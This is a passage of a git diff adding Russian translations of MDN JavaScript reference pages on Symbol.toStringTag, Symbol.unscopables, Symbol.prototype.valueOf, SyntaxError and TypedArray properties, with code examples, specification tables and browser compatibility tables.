+<h2 id="Описание">Описание</h2>
+
+<p>Многие Javascript типы имеют теги по умолчанию: </p>
+
+<pre class="brush: js">Object.prototype.toString.call('foo');     // "[object String]"
+Object.prototype.toString.call([1, 2]);    // "[object Array]"
+Object.prototype.toString.call(3);         // "[object Number]"
+Object.prototype.toString.call(true);      // "[object Boolean]"
+Object.prototype.toString.call(undefined); // "[object Undefined]"
+Object.prototype.toString.call(null);      // "[object Null]"
+// ... and more
+</pre>
+
+<p>Другие имеют встроенный символ <code>toStringTag</code>:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(new Map());       // "[object Map]"
+Object.prototype.toString.call(function* () {}); // "[object GeneratorFunction]"
+Object.prototype.toString.call(Promise.resolve()); // "[object Promise]"
+// ... and more
+</pre>
+
+<p>При создании собственного класса JavaScript по умолчанию использует тег "Object":</p>
+
+<pre class="brush: js">class ValidatorClass {}
+
+Object.prototype.toString.call(new ValidatorClass()); // "[object Object]"
+</pre>
+
+<p>С помощью <code>toStringTag</code> можно установить свой собственный тег:</p>
+
+<pre class="brush: js">class ValidatorClass {
+  get [Symbol.toStringTag]() {
+    return 'Validator';
+  }
+}
+
+Object.prototype.toString.call(new ValidatorClass()); // "[object Validator]"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.tostringtag', 'Symbol.toStringTag')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol.toStringTag")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/unscopables/index.html b/files/ru/web/javascript/reference/global_objects/symbol/unscopables/index.html
new file mode 100644
index 0000000000..1cb2a967b3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/unscopables/index.html
@@ -0,0 +1,89 @@
+---
+title: Symbol.unscopables
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/unscopables
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Property
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/unscopables
+---
+<div>{{JSRef}}</div>
+
+<p>Широко известный символ <strong><code>Symbol.unscopables</code></strong> используется для указания значения объекта, чьи собственные и наследуемые имена свойств исключаются из привязок связанного объекта оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Символ </span></font>@@unscopables</code> (<code>Symbol.unscopables</code>)  может быть определён к любому объекту, чтобы исключить имена свойств из-за того, что они отображаются как лексические переменные с привязкой окружения <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>. Обратите внимание: если использовать <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">"Строгий режим"</a>, оператор <code>with</code> будет недоступен и вероятнее всего также не понадобится этот символ.</p>
+
+<p>Если Вы зададите свойству знаечние <code>true</code> в объекте <code>unscopables</code>  сделает его "<em>unscopable</em><em>"</em> и, следовательно, оно не будет задействовано в области лексических переменных. Придав свойству значение <code>false</code>, Вы сделаете его <code>scopable</code> и, как следствие, оно будет задействовано в области лексических переменных.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Приведённый код отлично работает в ES5 и ниже. Однако в ECMAScript 2015 и более поздних версиях был введён метод  {{jsxref("Array.prototype.keys()")}}. Это означает, что внутри окружения <code>with</code>, "ключи" будут методом, а не пременной. Вот где теперь встроенные свойства символа {{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}} вступают в игру и препятствуют тому, чтобы некоторые из методов Array были включены в оператор <code>with</code>.</p>
+
+<pre class="brush: js">var keys = [];
+
+with (Array.prototype) {
+  keys.push('что-то');
+}
+
+Object.keys(Array.prototype[Symbol.unscopables]);
+// ["copyWithin", "entries", "fill", "find", "findIndex",
+//  "includes", "keys", "values"]
+</pre>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Вы также можете задать </span></font>unscopables</code> для собственных объектов.</p>
+
+<pre class="brush: js">var obj = {
+  foo: 1,
+  bar: 2
+};
+
+obj[Symbol.unscopables] = {
+  foo: false,
+  bar: true
+};
+
+with (obj) {
+  console.log(foo); // 1
+  console.log(bar); // ReferenceError: bar is not defined
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.unscopables', 'Symbol.unscopables')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.unscopables', 'Symbol.unscopables')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если Вы хотите дополнить эти данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("javascript.builtins.Symbol.unscopables")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</li>
+ <li>оператор <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> (не доступен в <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">режиме Strict</a>)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/valueof/index.html b/files/ru/web/javascript/reference/global_objects/symbol/valueof/index.html
new file mode 100644
index 0000000000..f5ed1d1060
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/symbol/valueof/index.html
@@ -0,0 +1,94 @@
+---
+title: Symbol.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Symbol/valueOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>valueOf()</strong></code> возвращает примитивное значение символьного объекта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>Symbol().valueOf();
+</var></pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>valueOf</code> объекта {{jsxref("Symbol")}} возвращает примитивное значение символьного объекта как экземпляр типа Symbol.</p>
+
+<p>JavaScript вызывает метод <code>valueOf</code> для конвертации объекта в примитивное значение. Вам нечасто потребуется вызывать метод <code>valueOf</code> самостоятельно; JavaScript автоматически вызывает его, когда натыкается на объект там, где ожидался примитив.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol.prototype.valueof', 'Symbol.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/syntaxerror/index.html b/files/ru/web/javascript/reference/global_objects/syntaxerror/index.html
new file mode 100644
index 0000000000..d398a0bc22
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/syntaxerror/index.html
@@ -0,0 +1,174 @@
+---
+title: SyntaxError
+slug: Web/JavaScript/Reference/Global_Objects/SyntaxError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Объект <code><strong>SyntaxError</strong></code> представляет ошибку, возникающую при попытке интерпретировать синтаксически неправильный код.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>new SyntaxError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Необязательный параметр. Человеко-читаемое описание ошибки.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Исключение <code>SyntaxError</code> выбрасывается, когда движок JavaScript при разборе кода обнаруживает токены или токен, которые, согласно синтаксису, не должны здесь находиться.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("SyntaxError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>SyntaxError</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p>Глобальный объект <code>SyntaxError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="SyntaxError_instances" name="SyntaxError_instances">Экземпляры объекта <code>SyntaxError</code></h2>
+
+<h3 id="Properties_of_SyntaxError_instances" name="Properties_of_SyntaxError_instances">Свойства</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_SyntaxError_instances" name="Methods_of_SyntaxError_instances">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Catch_an_SyntaxError" name="Example:_Catch_an_SyntaxError">Пример: перехват исключения <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+  eval('hoo bar');
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "missing ; before statement" - перед инструкцией отсутствует символ ;
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "Scratchpad/1"
+  console.log(e.lineNumber);             // 1
+  console.log(e.columnNumber);           // 4
+  console.log(e.stack);                  // "@Scratchpad/1:2:3\n"
+}
+</pre>
+
+<h3 id="Example:_Create_an_SyntaxError" name="Example:_Create_an_SyntaxError">Пример: возбуждение исключения <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+  throw new SyntaxError('Привет', 'someFile.js', 10);
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "Привет"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "someFile.js"
+  console.log(e.lineNumber);             // 10
+  console.log(e.columnNumber);           // 0
+  console.log(e.stack);                  // "@Scratchpad/2:11:9\n"
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("SyntaxError.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/syntaxerror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/syntaxerror/prototype/index.html
new file mode 100644
index 0000000000..b558ae482e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/syntaxerror/prototype/index.html
@@ -0,0 +1,122 @@
+---
+title: SyntaxError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>SyntaxError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("SyntaxError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("SyntaxError")}} наследуются от объекта <code>SyntaxError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>SyntaxError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Хотя стандарт ECMA-262 определяет, что {{jsxref("SyntaxError")}} должен предоставлять своё собственное свойство <code>message</code>, в <a href="/ru/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> он наследует свойство {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("SyntaxError")}} не содержит собственных методов, экземпляры {{jsxref("SyntaxError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определено как <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/@@species/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/@@species/index.html
new file mode 100644
index 0000000000..de71600f4c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/@@species/index.html
@@ -0,0 +1,130 @@
+---
+title: 'get TypedArray[@@species]'
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/@@species
+tags:
+  - JavaScript
+  - Property
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/@@species
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>TypedArray[@@species]</strong></code> - это способ доступа, с помощью которого можно получить конструктор <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">типизированного массива</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>TypedArray</em>[<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol/species">Symbol.species</a>]
+
+<em>где TypedArray</em> это один из:
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <strong><code>species</code> </strong>возвращает конструктор "по умолчанию" для объектов <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">типизированного массива</a>. Конструкторы подкласса могут его переопределить.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Свойство <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol/species"><code><strong>species</strong></code> </a>возвращает функцию-конструктор "по умолчанию", которая является одним из конструкторов данного <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">типизированного массива</a>:</p>
+
+<pre class="brush: js">Int8Array[Symbol.species];    // function Int8Array()
+Uint8Array[Symbol.species];   // function Uint8Array()
+Float32Array[Symbol.species]; // function Float32Array()
+</pre>
+
+<p>В производном объекте-массиве (например, вы разработали свой массив <code>MyTypedArray</code>), <code>MyTypedArray</code> определяет свой конструктор. Однако, вы можете захотеть его переопределить, например, возвращать родительский объект из вашего производного класса:</p>
+
+<pre class="brush: js">class MyTypedArray extends Uint8Array {
+  //Переопределение вида MyTypedArray на родительский Uint8Array
+  static get [Symbol.species]() { return Uint8Array; }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Описание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("48")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("48")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Symbol.species")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html
new file mode 100644
index 0000000000..e877c6b856
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html
@@ -0,0 +1,119 @@
+---
+title: TypedArray.BYTES_PER_ELEMENT
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+tags:
+  - JavaScript
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT
+---
+<div>{{JSRef}}</div>
+
+<p>Свойство <code><strong>TypedArray.BYTES_PER_ELEMENT</strong></code> содержит размер в байтах каждого элемента типизированного массива.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">TypedArray.BYTES_PER_ELEMENT;</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объекты TypedArray отличаются друг от друга числом байтов на каждый элемент и способом интерпретации байтов. Константа <code>BYTES_PER_ELEMENT</code> содержит число байтов, который имеет каждый из элементов в данном массиве.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js">Int8Array.BYTES_PER_ELEMENT;         // 1
+Uint8Array.BYTES_PER_ELEMENT;        // 1
+Uint8ClampedArray.BYTES_PER_ELEMENT; // 1
+Int16Array.BYTES_PER_ELEMENT;        // 2
+Uint16Array.BYTES_PER_ELEMENT;       // 2
+Int32Array.BYTES_PER_ELEMENT;        // 4
+Uint32Array.BYTES_PER_ELEMENT;       // 4
+Float32Array.BYTES_PER_ELEMENT;      // 4
+Float64Array.BYTES_PER_ELEMENT;      // 8</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Описание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Заменено в ECMAScript 6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение дано в ECMA-стандарте.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
